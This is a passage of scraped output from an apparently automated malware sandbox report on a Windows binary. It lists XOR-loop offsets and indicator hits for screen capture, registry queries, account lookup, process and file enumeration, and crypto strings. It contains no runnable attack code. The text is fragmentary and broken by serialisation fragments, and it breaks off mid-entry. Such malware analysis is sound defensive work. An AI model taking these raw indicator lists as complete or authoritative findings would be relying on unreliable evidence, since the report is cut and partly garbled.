731011; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 732461; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 733862; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 735058; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 735068; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 742465; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 742812; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 744429; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 746488; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 746819; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 748364; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 750385; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 750713; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 752180; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 753933; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 756240; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 757427; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 757437; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 759274; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 760461; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 760471; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 762267; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 763454; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 763464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 765430; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 766617; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 766627; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 768802; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 771129; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 772316; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 772326; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 774157; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 775344; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 775354; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 777496; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 780441; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 780775; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 782464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 794453; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 794787; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 796368; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 818229; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 818550; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 820012; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 821754; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 824068; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 825246; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 825256; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 832615; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 832936; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 834385; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 836109; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 838787; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 841100; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 842281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 842291; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 849611; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 849945; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 851487; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 853515; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 853836; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 855289; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 857035; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 859325; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 860512; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 860522; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 862670; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 865301; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 867945; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 870592; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 873237; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 875608; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 876795; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 876805; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 879012; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 881616; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 884485; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 884806; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 886250; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 887956; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 890304; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 891491; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 891501; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 893679; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 896334; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 899217; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 899557; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 901037; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 903101; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 903441; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 904921; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 911963; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 912297; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 913878; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 915360; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 916547; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 916557; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 924014; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 924348; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 926031; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 933086; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 933438; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 935107; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 937286; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 937638; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 939324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 941406; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 941733; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 943220; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 945322; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 945656; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 947345; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 949455; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 949789; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 951475; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 958484; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 958824; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 960325; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1004888; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1005660; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1005664; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1336813; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1361950; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1383100; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1592982; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1919016; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2020172; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2055929; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2067869; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2075115; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2089185; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2094427; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2095795; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2097185; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2097795; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099371; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2101693; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2126598; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 370642; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 370776; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1301165; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1308493; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1480754; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1579469; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2065589; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2066983; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2078213; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2084129; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2089487; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 632447; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1015524; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1200118; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1255211; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1316155; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1435915; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1546555; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1910280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1912768; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1919824; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1939048; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1962856; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2027708; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2059204; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2059996; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2060280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2085946; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2088052; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2090930; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2092164; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2092606; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2092796; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2093188; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2095784; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2097776; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2098848; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2101674; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2106942; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2112540; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2128416; code bytes = 80302d:T483,file/memory contains long string(Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found string "etUserNameExW" (Source: "00000000-00003824.00000000.171284.02E58000.00000004.mdmp") Found string "etUserNameExA" (Source: "00000000-00003824.00000000.171284.02E58000.00000004.mdmp") Found string "GetUserNameA" (Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found string "ystem.Identity.QualifiedUserName" (Source: "00000000-00003824.00000000.171284.26700000.00000002.mdmp") Found string "ystem.Identity.UserName" (Source: "00000000-00003824.00000000.171284.26700000.00000002.mdmp") Found string "ystem.UserName" (Source: "00000000-00003824.00000000.171284.26700000.00000002.mdmp") Found string "System.Identity.UserName" (Source: "00000000-00003824.00000000.171284.26760000.00000002.mdmp") Found string "System.Identity.QualifiedUserName" (Source: "00000000-00003824.00000000.171284.26760000.00000002.mdmp") Found string "System.UserName" (Source: "00000000-00003824.00000000.171284.26760000.00000002.mdmp") file/memory contains long string(Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")2e:T22d4,"" (Indicator: "GetDC"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003824.00000000.171284.02DA0000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp")43:T505,Found registry query API: "RegOpenKey (in long string)" in file "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin" Found registry query API: "RegQueryValue (in long string)" in file "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin" Found registry query API: "RegOpenKey (in long string)" in "00000000-00003824.00000000.171284.0048C000.00000002.mdmp" Found registry query API: "RegQueryValue (in long string)" in "00000000-00003824.00000000.171284.0048C000.00000002.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00003824.00000000.171284.25400000.00000040.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00003824.00000000.171284.25400000.00000040.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00003824.00000000.171284.25400000.00000040.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00003824.00000000.171284.25400000.00000040.mdmp" Found registry query API: "RegGetValueA" in "00000000-00003824.00000000.171284.25400000.00000040.mdmp" Found registry query API: "RegOpenKey (in long string)" in "00000000-00005740.00000000.171500.0094C000.00000002.mdmp" Found registry query API: "RegQueryValue (in long string)" in "00000000-00005740.00000000.171500.0094C000.00000002.mdmp"44:T964,file/memory contains long string with (Indicator: "GetUserName"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")45:Te63,Found string "chacha8" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "aes"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.setup" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.block_generic" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.qr" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "aeshashbody" (Indicator: "aes"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand/chacha8_generic.go" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "internal/chacha8rand/chacha8_stub.s" (Indicator: "chacha"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "runtime.useAeshash" (Indicator: "aes"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "runtime.aeskeysched" (Indicator: "aes"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found string "chacha8" (Indicator: "chacha"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found string "*chacha8rand.State" (Indicator: "chacha"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found string "internal/chacha8rand" (Indicator: "chacha"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found string "???pc= Gadxaesshaavxfmabindboolint8uintchanfuncallgallprootitabsbrkidledeadsync is LEAFheapbase at Has of ) = <==GOGC] = pc=true+Inf-Inf: p=cas1cas2cas3cas4cas5cas6" (Indicator: "aes"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp, 00000000-00003824.00000000.171284.005BB000.00000002.mdmp")46:T453,file/memory contains long string with (Indicator: "FindNextFile"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "FindFirstFile"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "FindNextFile"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "FindFirstFile"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "FindNextFile"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "FindFirstFile"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")47:Tcd2,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "Process32First"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "7844317148,6424,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:44:34.796",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003824.00000000.171284.02E14000.00000004.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")48:T6d1,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetProcAddress"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetProcAddress"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp, 00000000-00003824.00000000.171284.005BB000.00000002.mdmp") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp, 00000000-00003824.00000000.171284.005BB000.00000002.mdmp") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003824.00000000.171284.005BB000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "GetProcAddress"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")49:T942,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentDirectory"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: 